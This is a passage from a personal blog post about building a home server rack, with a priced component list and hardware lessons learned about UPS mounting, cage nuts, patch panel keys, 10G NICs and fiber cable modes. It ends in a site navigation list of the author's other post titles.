Maybe minimizing cable length is important in a data center where you’re replicating the same setup hundreds of times. In a home environment, I don’t see the difference between connecting my server to my UPS with a 2 ft. power cable vs. a 4 ft. power cable.

My final rack setup

Component	Choice	Price	Satisfaction
Server rack	StarTech 4POSTRACK18U	$316	A
Network switch (managed)	TP-Link TL-SG3428X	$299	C+
Network switch (PoE, unmanaged)	Netgear GS116LP	$139	A
UPS	CyberPower CP1500PFCRM2U	$335	A+
Power strip	Tripp Lite RS-1215-RA	$78	B+
Rack shelves	Pyle PLRSTN62U 19" 2U	$64	A
Patch panel (24-port)	NewYork Cables 1U	$19	B+
Patch panel (16-port)	Tripp Lite 1U	$13	A
Raspberry Pi rack mount	UCTRONICS Ultimate Rack with PoE Functionality	$190	C+
Total		$1,453

And here are the smaller items:

Component	Price
Cable Matters SFP+ to LC multimode fiber transceiver (2-pack)	$40
Cat6 keystone coupler (25-pack)	$23
Fiber LC coupler (5-pack)	$19
12" Ethernet cables (10-pack)	$19
6" Ethernet cables (25-pack)	$34
16’ fiber LC mulitmode cable	$14
3’ fiber LC multimode cable	$10
8" fiber LC mulitmode patch cables (5-pack)	$30
NavePoint M6 cage nuts	$16

Next steps in my rack

Rack-mounted server

You may have noticed that my server rack is conspicuously missing one common component: a server.

I still have my pre-rack VM and storage servers. I’ll migrate them to rack-mounted chassis the next time I do some upgrades, but I’ve punted that task since building the rack was a significant enough project on its own.

Are there hats for my rack?

One of the things I’ve been searching for without success is a “hat” for my rack. The top of my rack is just open space.

I’d love to find a top that fits securely into the open space on top of my rack and lets me store things on it.

If you know a solution to this, let me know.

Avoiding mistakes I made

Test the UPS before mounting it

The UPS was, by far, the most difficult component to mount in the rack. I don’t understand how people do it. It’s about half the size of a window air conditioner, but to install it, you need one hand holding it perfectly level and another hand screwing it in. I eventually decided it was a two-person job and called my wife in for reinforcements.

You don’t want to go through all the work of mounting a heavy UPS only to discover that it’s unbearably loud. Or it could just be a dead device, and you don’t want to find that out after you mount it.

Check UPS reviews for noise complaints

Some UPS devices are totally silent, and some produce constant noise. If the UPS will be anywhere near you, take noise into consideration.

Check return policies

I’d never seen anything on Newegg before that was replacement-only, so I took it for granted that I’d be able to return my UPS if I didn’t like it.

Luckily, Newegg customer service was helpful and accepted the return for a refund, but I’ll check proactively in the future.

Get a PoE-enabled switch if you have any PoE components

Currently, I have 2U of network switches and 2U of patch panels, and I’m only using 11 of the 44 ports.

I regret not looking around more for a managed switch that supported PoE while still offering quiet operation. My ideal would be to have a fanless managed switch where at least eight of the ports have PoE and at least three have 10 Gbps speeds.

Cage nuts aren’t supposed to hurt

When you install components into your rack, you secure it to your rack using a cage screw and cage nut.

I thought cage nuts worked like all other nuts I’ve ever encountered — I hold them behind the thing I’m screwing into and then tighten the screw into the nut.

How I was incorrectly installing cage nuts

After installing about eight cage nuts, I cursed the stupidity of whoever decided to put sharp corners on a thing that required me to squeeze it between my fingertips. And then I realized I might be doing something wrong.

Tip: If you find yourself exerting a lot of force or feeling physical pain while building computer hardware, you’re probably doing something wrong. Server equipment is designed so that middle-aged, out-of-shape IT people can use it, so you don’t need peak physical fitness.

Cage nuts have a clever design in that they clip into the rack. That way, you don’t have to hold the nut in place when screwing the component into your rack.

The correct way to install cage nuts is to let them clip in from behind the hole in the rack post.

Don’t install patch keys backward

I’m going to sound like a moron here, but I installed my patch panel keys incorrectly twice before I realized how to do it correctly.

Now that I’ve seen the right way, what I thought was correct before looks absurd, but it’s my first rack!

So, my first attempt was like this:

It fit snugly, and it was easy to plug Ethernet cables into it, so I thought that was right. But almost every time I removed an Ethernet cable, the patch key popped out with it.

“I must have done this backward,” I thought. So I plugged the keys in from the rear. It was tougher to get them in, but they stayed in place better.

Embarrassingly, I thought this was how RJ45 patch keys were supposed to work for about six months.

I had them like this for six months!

It wasn’t until I bought my second patch panel and experimented with the keys that I realized there was a different method.

It turns out that the little notch on the top isn’t for decoration. You’ll hear a little click when the notch clicks into the correct position. The front face should be roughly flush with the front of the patch panel.

Patch keys should be flush with the face of the patch panel, and their tabs click into place in the rear.

If the motherboard doesn’t detect a 10G NIC, try a different PCI slot

When I installed my Mellanox 10G NIC into my desktop, Windows didn’t detect it at all. I tried re-seating it, and I saw the same results. I tried downloading the latest drivers, but Windows didn’t show the NIC in Device Manager.

Finally, I stumbled across a forum post where someone reported that their Mellanox card worked when they switched it to a different PCI slot. I tried a different PCI slot on my motherboard, and voila! It worked perfectly.

I still don’t understand why the PCI slot mattered. According to my motherboard’s documentation, the two PCI slots are supposed to be identical, but one worked, and the other didn’t.

Don’t mix SFP+ multimode and single mode fiber cables

The first day that I installed my Mellanox NIC on my Windows desktop, everything worked fine.

After about 24 hours, my desktop’s Ethernet connection suddenly began disconnecting and reconnecting every few seconds. I rebooted, and the problem went away.

A day later, the problem came back. I tried connecting the cable from my desktop directly to the switch, skipping the patch panel. That fixed the issue, which narrowed the problem to either the patch cable or the patch panel key.

Finally, I spotted it: my patch cables were single mode, whereas the rest of my system was multimode. I didn’t even know there were different “modes” of fiber cables, but apparently there are, and they don’t get along.

My network connection went into a reset loop every 24 hours because I accidentally used multimode patch cables in a single mode fiber system.

I bought a new set of multimode fiber cables, and the problem went away. Unfortunately, I discovered the problem three days after the return window for my $70 box of single mode fiber cables had closed.

Consider used equipment

One blind spot in this guide is that I didn’t explore used equipment aside from the 10G NICs.

It wasn’t exactly a “mistake” to buy new equipment, as I did it consciously and am happy with the choice. I optimized for time over money, and it was faster for me to search for components at retailers like Newegg rather than on marketplaces for used equipment like eBay, Facebook, or craigslist.

If you’re willing to invest a bit more time, you can dramatically reduce the cost of your rack by finding used equipment.

My life with a rack

I’m happy with my new rack and have no regrets about the investment. It definitely beats my old setup of having bits and pieces of infrastructure scattered around my office.

Now, everything lives in one efficient, organized location. When people visit my house, I look like a quirky nerd rather than a weird slob with cables everywhere.

I underestimated how nice it would be to have my TinyPilot physically close to all of my devices (disclosure again: TinyPilot is a product I created). Before the rack, I used to keep my TinyPilot on the floor next to my desk. There was a lot of friction in using it to fix server issues: I had to shut down the TinyPilot, disconnect a bunch of wires, reconnect it on the other side of the room, then undo everything after I was done.

With everything now physically adjacent, it’s easy for me to quickly plug TinyPilot in to any misbehaving device for low-level access. It came in handy for things like figuring out how to install NixOS on a Raspberry Pi and upgrading my VM server to the latest version of Proxmox.

mtlynch.io

Refactoring English: Month 18

Highlights

Goal grades

Get Refactoring English to “content complete”

Create a tool that allows Refactoring English readers to give feedback as they read the book

Refactoring English metrics

Bug bounty metrics

When is the book “done?”

Why wasn’t I continuously revising the book?

My reader feedback tool

AI projects and the great blockade

Just have AI make the prototype

Break down the prototype

Example: Implementing authentication for Little Moments

How AI makes this harder

Wrap up

What got done?

Lessons learned

Goals for next month

Refactoring English: Month 17

Highlights

Goal grades

Finish writing Refactoring English

Refactoring English metrics

Three months of bug bounty programs

The bugs have gotten easier to find, but the bounty programs have gotten harder

Should I focus on the book or bug bounties?

Maybe I should be teaching AI for improving software security

Recommendations

Timelinize lets you reclaim your data from social media

The React2Shell Story and What Happened Next.js

Wrap up

What got done?

Lessons learned

Goals for next month

Requests for help

Refactoring English: Month 16

Highlights

Goal grades

Finish Refactoring English

Refactoring English metrics

Spotting an opportunity to pull a Simon Willison

Software security will be rough for the next couple of years

Reaching the first Little Moments milestone

Wrap up

What got done?

Lessons learned

Goals for next month

Claude Code Found a Linux Vulnerability Hidden for 23 Years

How Claude Code found the bug

The NFS vulnerability

Undiscovered for 23 years

More bugs than he can even report

There’s a big wave coming

Original talk

Refactoring English: Month 15

Highlights

Goal grades

Publish two chapters of Refactoring English

Schedule a live event for Refactoring English readers

Refactoring English metrics

Where do Refactoring English readers come from?

Fixing my regional discounts

Should I focus on non-native speakers?

AI-assisted coding is becoming a problem for me

AI coding is exciting

AI coding has no natural limits

AI coding offers variable rewards

Get while the gettin’s good

How to get my AI usage back under control

Wrap up

What got done?

Lessons learned

Goals for next month

Refactoring English: Month 14

Highlights

Goal grades

Publish three chapters of Refactoring English

Publish my 2025 annual review (year 8)